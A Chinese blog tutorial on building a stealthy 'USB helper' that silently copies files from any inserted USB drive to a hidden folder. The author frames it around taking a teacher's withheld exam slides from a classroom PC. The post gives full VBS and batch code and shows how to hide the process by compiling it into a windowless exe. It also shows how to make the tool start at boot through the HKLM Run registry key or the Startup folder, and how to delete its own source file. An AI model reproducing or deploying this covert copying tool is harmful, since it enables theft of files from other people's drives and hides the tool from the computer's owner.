马上期末考试了,老师复习课讲得PPT是精简版的,老师说了之前上课的PPT可以给但是这个不可以,如果得到期末必过了。本想着把我这个自己花了3个多小时做的U盘助手在教室的电脑上运行着,下课我就可以得到PPT了,但是无奈我如此正义凛然,以及信息安全的专业我有着极好的专业素养。我还是放弃了做坏事。希望大家也是如此。当然这个U盘助手还可以让你更方便,比如你需要把U盘中的某一特定类型的文档经常复制到电脑,自己手动复制是不是很麻烦?或者经常手动备份U盘资料很麻烦,有了它你会更方便。

打包好的代码及程序

这是网上找的vbs语言写的,有一定英语能力和vb能力的想必不难看懂,本人没学过,大致还是可以理解的,但是代码看着太长,而且需要自己设定U盘盘符,复制文件类型,目录,显得有些麻烦。

set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") dim USB, file, folder, files USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") USB=USB & ":\" folder=folder & "\" if files="ALL"then file=USB & "*" else file=USB & "*." & files end if if FSO.FolderExists(folder) then else
FSO.CreateFolder(folder) end if on error resume next
do
wscript.sleep 1000 if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000 end if loop

下面详细讲解我自己写的bat实现

1、创建一个保存复制的文件的文件夹:

md C:\Upan(我这里创在了C盘根目录)

至于这句:

setlocal enabledelayedexpansion

解释起来太复杂,有篇博客就是说这个的可以自己搜索下,这句几乎是bat下for循环必须的语句

2、然后设置要检测的可移动磁盘(我的可移动磁盘是d):

set "driver=d"

3、然后用循环一直检测,直到检测到U盘在执行命令:

for %%a in (!driver!) do (
::此处输循环执行的命令
)

for循环用法:for %%变量 in (集) do 命令,变量:(记住如果是在批处理中使用for命令时,变量前的%需改为%%)这个变量名是由单个字母组成且区分大小写(原帮助是这么说的,实际运用中用单个数字作为变量名试过证明也可行),如%B和%b代表的是不同的变量。集:由系列文件、字符串或由命令产生的内容形成的集合(当然可用通配符 * ?,还可引用环境变量),FOR命令是按一定顺序和规律分次读取集中内容,赋值给变量,并执行do后的命令,进行循环下一轮,直至集中内容读取完毕,而括号是格式必须的(in到后面括号之间要有空格)。命令大家都知道。

4、如果检测到U盘,则执行复制命令,复制U盘中所有的PPT到我们创建的保存复制的文件的文件夹(C:\Upan):

if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)

/C 有错误也复制,/E 复制目录和子目录,包括空目录,/H 也复制隐藏文件和系统文件,/Q 复制时不显示文件名,/K 复制属性,/Y 取消提示以确认要覆盖

5、使用跳转语句goto,如果没有检测到U盘盘符就跳转到for循环处继续执行检测磁盘

::检测U盘是否插入,插入则复制U盘中所有文件到指定盘
@echo off
md C:\Upan
setlocal enabledelayedexpansion
::下面设置好要检测的盘符,以空格或逗号相隔
set "driver=d"
:start
for %%a in (!driver!) do (
if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
)
goto :start

这样的bat运行是有点没中不足的,像这样总是有个黑框挺难看的

下载bat转exe的软件如Quick Batch File Compiler,打开软件,选择“打开”来打开写好的bat

然后找到“选项”设置幽灵应用程序,然后点构建,然后设置exe文件名并生成一个exe文件

,此时运行该exe不会有任何显示,但是可以在进程列表看到已经运行了

如果你想让这个程序开机自动运行,可以通过vbs或者bat,或者直接把开机自启的bat命令添加在上面的文件按上述步骤完成。

1、VBS脚本实现

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c for.bat",vbhide 

把for.bat改为你想要开机自启动的bat或者exe文件

2、bat命令独立实现

1)修改注册表

copy %0 c:\for.exe,把for.exe复制到C:\

下面那句是修改注册表键值,让C:\for.exe开机自启动

最后一句是删除for.exe源文件

复制下面代码到新建文本文档,只需要把for.exe改为你的bat文件名或者exe文件名,然后保存,把文档名改为xxx.bat运行就可以了

@echo off
copy %0 c:\for.exe
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f
del %0

2)在系统启动菜单创建快捷方式

复制下面代码到新建文本文档,然后保存为xxx.bat运行就可以了

@echo off
copy %0 "%userprofile%\「开始」菜单\程序\启动"
del %0

3、把1)的代码添加到前面bat文件的第二句(md C:\Upan)后面,注意:1)中的for.exe是指最后要转换成exe文件的文件名,如果你要把bat转换成的exe文件名为U盘助手.exe,那就把1)中的所有for.exe改为U盘助手.exe即可,或者你可以把生成的exe文件改为for.exe也可

后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)相关推荐

  1. win 10计算机文件,Win10电脑怎么转移c盘文件?

    每台电脑在装系统的时候系统盘都是默认存放在C盘的,但是很多软件下载保存或者储存文件通常情况下也都是会被默认在C盘底下的,如果是电脑小白用户的话必定都是默认选择的,久而久之,就会导致C盘空间不足,影响计 ...

  2. 服务器windows文件夹50多g,原来C盘可以删除这5个文件,电脑减负50%,一下子多出10个G!...

    马上就要年底了,大家肯定都是欢欢喜喜准备过年,将家里变得焕然一新.韩博士也捯饬好大包小包打算风风火火赶回家,结果刚打开电脑,哦豁,立马卡到爆炸.想着都年底了,这电脑还打算给我搞出什么幺蛾子,要不是刚好 ...

  3. 惠普电脑u盘重装系统步骤_解决惠普电脑怎么设置u盘启动

    惠普电脑如何设置U盘启动呢?现在有很多小伙伴开始自己动手重装系统,当然在重装系统时也避免不了各种问题,比如设置U盘启动.我给大家整理了设置U盘启动的详细步骤,赶紧来瞧瞧吧 惠普是一家全球性的科技公司 ...

  4. U盘无法复制大于4G的文件

    日常我们发现拷贝的文件到U盘时,提示无法文件过大(超过大于4G文件),无法完成复制.U盘FAT32格式不支持大于4G的单个文件存储,需要将FAT32格式转化成NTFS格式就好了. U盘主要有三种格式: ...

  5. 计算机的哪个盘用来玩游戏,玩游戏的电脑虚拟内存放在哪个盘更好

    通常情况下我们设置虚拟内存都是放在C盘,那么对于游戏玩家放哪个盘最合适呢?下面是小编收集整理的玩游戏虚拟内存设在哪个盘好,希望对大家有帮助~~ 虚拟内存介绍: 虚拟内存是计算机系统内存管理的一种技术. ...

  6. 怎样设置计算机u盘启动程序,设置U盘为第一启动项教程-惠普电脑怎么设置u盘启动...

    今天小编给大家详解设置U盘为第一启动项教程,由于BIOS系统语言一般都是英文的,很多朋友设置起来不知道怎么操作,其实设置U盘启动的方法并不难,有需要的用户,请来看看版面的详细介绍吧. 电脑系统不可能一 ...

  7. 计算机维护bios设置u盘启动不了,最全各种品牌电脑BIOS设置U盘启动方法(支持uefi和legacy)...

    方法二.老电脑进入BIOS设置U盘启动 就可以进入BIOS 这些东西和主板厂商有关的,一般都是主板决定的.设置U盘启动,不同BIOS设置U盘启动方法如下: 1.Phoenix – AwardBIOS( ...

  8. python——几行代码,偷偷复制U盘文件到电脑

    复制U盘文件到电脑指定文件夹 将代码写好,打包成exe文件.打开exe文件,在后台运行,看不到运行界面.当有U盘插入时,自动复制到指定的地址,复制完成后,进程自动关闭. 几行简单的代码,U盘中的所有文 ...

  9. Linux1T大文件拷贝,U盘拷贝大于4G的iso文件时提示对于目标文件系统 文件过大解决方法全集...

    [文章导读] U盘在我们日常使用过程中已经在广泛的使用了,很多人都喜欢拷贝文件,u盘传输速度上的是非常快的,但是有不少用户在使用U盘过程中遇到问题,u盘不能拷贝超过4G的大文件,提示" U盘 ...

最新文章

  1. MS UI Automation Introduction
  2. pytorch笔记:pytorch的乘法
  3. 平流式沉淀池计算例题_平流式沉淀池计算例题
  4. linux 虚拟机同步时间
  5. Python中_,__,__xx__的区别
  6. 区块链演进及跨域安全解决方案
  7. Mr. Panda and Kakin(拓展欧几里得 + O(1)快速乘)
  8. android m在哪下载地址,android m预览版SDK下载地址 android m预览版SDK下载网址
  9. Linux的sigevent结构----mq_notify()实例
  10. python基础二:函数
  11. 数据可视化——tableau 数据报表样例(报表模板)二
  12. 如何模拟地震、噪音、颠簸路面激励下的不确定性振动行为?
  13. voip和rtc_SIP与VoIP的区别
  14. 大数据实战第十六课(上)-Spark-Core04
  15. 学在信息——初窥门径
  16. OCL(对象约束语言)简易教程
  17. 11、异常 异常解决方案
  18. vue组件深度传值provide、inject,值类型响应式的方法
  19. 第四章、面向对象(2)
  20. fiddler接口基础

热门文章

  1. yaskawa 机器人控制
  2. 计算机四新知识考试题库答案,科目四题库一共多少题
  3. Microsoft Office 2019 for Mac 16.37 中文版
  4. [AcWing]885. 求组合数 I(C++实现)求组合数模板题
  5. 机器学习基础-10:机器学习简史
  6. Django知识点笔记
  7. ElasticSearch 6.1.1 通过Head插件,新建索引,添加文档,及其查询数据
  8. 关于Grafana监控大屏不兼容浏览器的小结
  9. 联想凌拓:谁更如愿以偿呢?
  10. 电池洗地机进行更换电池时需要注意啥?